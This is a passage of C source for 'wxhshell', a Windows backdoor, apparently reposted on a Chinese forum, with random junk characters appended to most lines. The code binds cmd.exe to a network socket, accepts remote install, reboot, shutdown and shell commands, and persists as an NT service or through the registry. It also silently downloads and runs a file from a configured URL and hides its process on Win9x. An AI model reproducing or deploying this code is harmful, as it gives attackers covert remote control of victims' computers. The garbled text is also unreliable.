    switch(cmd[0]) { l^ 0_> R  
  hzQ+9-qA  
  // 帮助 /}$T38  
  case '?': { :Wg-@d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xshAr J&A  
    break; 8VuZ,!WH#  
  } l{6` k<J(  
  // 安装 =,4 '"  
  case 'i': { K6v $#{$6  
    if(Install()) aM{@1m Bm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8pk#sJ51  
    else i#RElH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P}hY {y'  
    break; Z.:<TrN  
    } Q^lQi\[  
  // 卸载 kOAY@a  
  case 'r': { UXwB$@8  
    if(Uninstall()) J-tq8   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p:JRQT"A  
    else hD6JW-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R+{^@M&  
    break; Y@]);MyL  
    } 7a:*Y"f,~  
  // 显示 wxhshell 所在路径 4@v1jJj  
  case 'p': { z|3`0eWIG  
    char svExeFile[MAX_PATH]; qE0FgqRB  
    strcpy(svExeFile,"\n\r"); <mZrR3v'D  
      strcat(svExeFile,ExeFile); Dd0Qp-:2  
        send(wsh,svExeFile,strlen(svExeFile),0); AhvvuN$n%  
    break; lk_s!<ni  
    } X'FEOF  
  // 重启 .]j#y9>&w%  
  case 'b': { `10X5V@hP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E kBae=  
    if(Boot(REBOOT)) =a)iVXSB]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); crd|2bjp+  
    else { G@!_ZM8h  
    closesocket(wsh); =[P%_v``  
    ExitThread(0); ~V2ajM1Z&O  
    } 4= Tpi`  
    break; .pM &jni Y  
    } D3S+LV  
  // 关机 -9OMn}w/*  
  case 'd': { (Qk&g"I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6z#lN>Y-`  
    if(Boot(SHUTDOWN)) u0XP(d H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dac ^*k=D  
    else { XogvtK*  
    closesocket(wsh); wJ+U[a  
    ExitThread(0); Ap]4QqU  
    } L1hD}J'$4  
    break; 'e.q 7Jpd  
    } F!7f_m0=  
  // 获取shell g7xbyB o7  
  case 's': { +/y{^}b/  
    CmdShell(wsh); xLx"*jyL  
    closesocket(wsh); S3u yn78hI  
    ExitThread(0); 8jy-z"jc  
    break; 3ppuQ Q  
  }  yS[z2:!  
  // 退出 ~ HK1X  
  case 'x': { g1ZV&X=2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cMDRWh  
    CloseIt(wsh); f49"pTw7  
    break; `$S^E !=  
    } umQi  
  // 离开 ?}vzLgp  
  case 'q': { -a  *NbH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lPY@{1W  
    closesocket(wsh); =/6p#d*0  
    WSACleanup(); )xB$LJM8  
    exit(1); dh&W;zs  
    break; 2m_'z  
        } 1"}B]5!  
  } br0u@G  
  } tM&n3MWQ  
\n#]%X5c  
  // 提示信息 Hqvc7-c6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >b>M Km>q  
} PzjaCp'  
  } q@w{c=  
1g1?zk8zO  
  return; 4P|$LkI  
} G%a] j  
<tFSF%vG=  
// shell模块句柄 um;:fT+  
int CmdShell(SOCKET sock) >SvDgeg_7f  
{ }6).|^]\'  
STARTUPINFO si; :.#z  
ZeroMemory(&si,sizeof(si)); "YJ[$TG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6sPk:5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |GtY*|  
PROCESS_INFORMATION ProcessInfo; /D0RC  
char cmdline[]="cmd"; 8;TAb.r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t)9]<pN%  
  return 0; [s~JceUyX  
} *4t-e0]j@w  
wW-Ab  
// 自身启动模式 *=Doe2(!C  
int StartFromService(void)  "Y7+{  
{ - %|P  
typedef struct *zq.C  
{ .eo~?u<j&  
  DWORD ExitStatus; ^IBGYl5n  
  DWORD PebBaseAddress; "OO96F  
  DWORD AffinityMask; U^[<  
  DWORD BasePriority; %y>+1hakkX  
  ULONG UniqueProcessId; Va7c#P?  
  ULONG InheritedFromUniqueProcessId; ~LbS~_\C=  
}   PROCESS_BASIC_INFORMATION; O#Z/+\U  
-I ?z-?<D  
PROCNTQSIP NtQueryInformationProcess; Y]N~vD  
XYe~G@Q Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %tV32l=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SB TPTb  
Hle\ON  
  HANDLE             hProcess; :r&iM b:Ra  
  PROCESS_BASIC_INFORMATION pbi; wUoiXi09  
Q"%QQo}}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z?17Pu'Dp  
  if(NULL == hInst ) return 0; 0#QKVZq2>  
p%F8'2)}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4U?<vby  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U/Wrh($ #4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -/>9c-F  
"V4Q2T T  
  if (!NtQueryInformationProcess) return 0; vt.P*Z5  
}taLk@T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y}N&/}M:}8  
  if(!hProcess) return 0; S ZlC4=6c  
1Dq<{;rWb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bhD ~ 4Rz  
(YwalfG {C  
  CloseHandle(hProcess);  `?|Rc  
l-}KmZ]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +Q)ULnie e  
if(hProcess==NULL) return 0; O|I+],  
$Jp~\_X  
HMODULE hMod; "(,2L,Zh  
char procName[255]; f2yq8/J8.  
unsigned long cbNeeded; N5? IpE  
llq*T"7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,}0$Tv\1  
]]TqP{H  
  CloseHandle(hProcess); x vmt.>f  
H\E7o" m  
if(strstr(procName,"services")) return 1; // 以服务启动 %X>FVlPm  
537?9  
  return 0; // 注册表启动 U\jb"  
} #op:/j  
@QdnjXII*  
// 主模块 o@W_ai_  
int StartWxhshell(LPSTR lpCmdLine) s\gp5MT  
{ SO;N~D1Z6  
  SOCKET wsl; 2no$+4+z  
BOOL val=TRUE; o5swH6Y.)J  
  int port=0; X*F_<0RC1  
  struct sockaddr_in door; cJDd0(tD!  
M-J<n>hl  
  if(wscfg.ws_autoins) Install(); sb^mLH] 3  
l!?yu]Yon  
port=atoi(lpCmdLine); F2;:vTA>  
OQp, 3 M{_  
if(port<=0) port=wscfg.ws_port; NF+<#*1  
FI"HJwAs  
  WSADATA data; L0Y0&;y|R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =gjDCx$|  
53Yxz3v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I[0!S IqY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M:|8]y@  
  door.sin_family = AF_INET; /=)L_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e[1>(l}Ss  
  door.sin_port = htons(port); a460|w6  
c8Z A5|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Qz,|mo+  
closesocket(wsl); w^q7n  
return 1; gEwd &J  
} *geN [ [  
>&U @f  
  if(listen(wsl,2) == INVALID_SOCKET) { ST Z]8cw  
closesocket(wsl); m#e*c [*G  
return 1; V`#.7uUP  
} r37[)kJ  
  Wxhshell(wsl); 8 #}D : (  
  WSACleanup(); %}3qR~;  
8(f:U@BS  
return 0; 6>`c1 \8f  
=\};it{u  
} NHm]`R,  
""% A'TZ  
// 以NT服务方式启动 4)kG-[#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .Z\Q4x#!Z  
{ YoKs:e2/:  
DWORD   status = 0; $q_R?Eay  
  DWORD   specificError = 0xfffffff; %m&@o~+  
0uvzxmN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8wK ~ i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }%TPYc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Lrd[O v  
  serviceStatus.dwWin32ExitCode     = 0; uO6{r v\  
  serviceStatus.dwServiceSpecificExitCode = 0; ,"\@fwy{  
  serviceStatus.dwCheckPoint       = 0; lv%9MW0 z  
  serviceStatus.dwWaitHint       = 0; D`yEwpV^  
2`?!+")  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0w=R_C)s  
  if (hServiceStatusHandle==0) return; W!T"m)S  
Jr;jRe`4c  
status = GetLastError(); ,7_4 z]jK  
  if (status!=NO_ERROR) h-#1U3d  
{ LP];x3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #8XL :I  
    serviceStatus.dwCheckPoint       = 0; k@dN$O%p  
    serviceStatus.dwWaitHint       = 0; 7f{=w, U  
    serviceStatus.dwWin32ExitCode     = status; \ZI'|Ad  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;# uZhd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5!X1G8h)uy  
    return; O|kOI?f  
  } T,%j\0  
K`g7$r)U[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3g~'5Ao  
  serviceStatus.dwCheckPoint       = 0; _S}A=hK'  
  serviceStatus.dwWaitHint       = 0; )e|=mtp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PG~$D];  
} eHiy,IN  
47K1$3P  
// 处理NT服务事件,比如:启动、停止 tDg}Ys=4K>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )2IH 5  
{ c!K]J  
switch(fdwControl) *Hz^K0:8(  
{ f+_h !j  
case SERVICE_CONTROL_STOP: Z?5V4F:f  
  serviceStatus.dwWin32ExitCode = 0; =O).Lx2J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 457\&  
  serviceStatus.dwCheckPoint   = 0; ` Ag{)  
  serviceStatus.dwWaitHint     = 0; **3 z;58i  
  { 9iUrnG*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q 11IkDa  
  } )3Z ^h<"j  
  return; Ej ".axjT  
case SERVICE_CONTROL_PAUSE: Uu 8,@W+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #Lv2Zoi>G  
  break; 6 Orum/|h  
case SERVICE_CONTROL_CONTINUE: "ZM4F?x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E_e6^Sk5B(  
  break; . mLK`c6  
case SERVICE_CONTROL_INTERROGATE: anMF-x4/*q  
  break; R_XR4)(<  
}; ?W^c4NtP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UcOk3{(z$q  
} R\@/U=iqR  
/1mW|O>0  
// 标准应用程序主函数 ,I1 RV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0j"8@<  
{ }X*Riu7gk  
li~d?>  
// 获取操作系统版本 I M-L'9  
OsIsNt=GetOsVer(); (3J$>Na  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Szbb_i{_ `  
}J">}j]/  
  // 从命令行安装 TJ q~)Bm  
  if(strpbrk(lpCmdLine,"iI")) Install(); +t5U.No  
>Cw<BIF  
  // 下载执行文件 VCXJwVb  
if(wscfg.ws_downexe) {  ;s`sn$@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  ks$JP6  
  WinExec(wscfg.ws_filenam,SW_HIDE); u/cg|]x&T  
} a,2'+Tlo  
$,+O9Et  
if(!OsIsNt) { x8S7oO7  
// 如果时win9x,隐藏进程并且设置为注册表启动 -gSUjP  
HideProc(); ])xx<5Jt4  
StartWxhshell(lpCmdLine); P:30L'.=[  
} 5?hw !  
else %?e& WLS  
  if(StartFromService()) mEw ~yOW]M  
  // 以服务方式启动 X.hm s?]  
  StartServiceCtrlDispatcher(DispatchTable); vnWWneeNr  
else 8"sb;  
  // 普通方式启动 uwz)($~bp  
  StartWxhshell(lpCmdLine); kY*rb_2j  
}VS5gxI1.  
return 0; K+;e4_\  
}
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只看该作者 1 发表于: 2006-10-10
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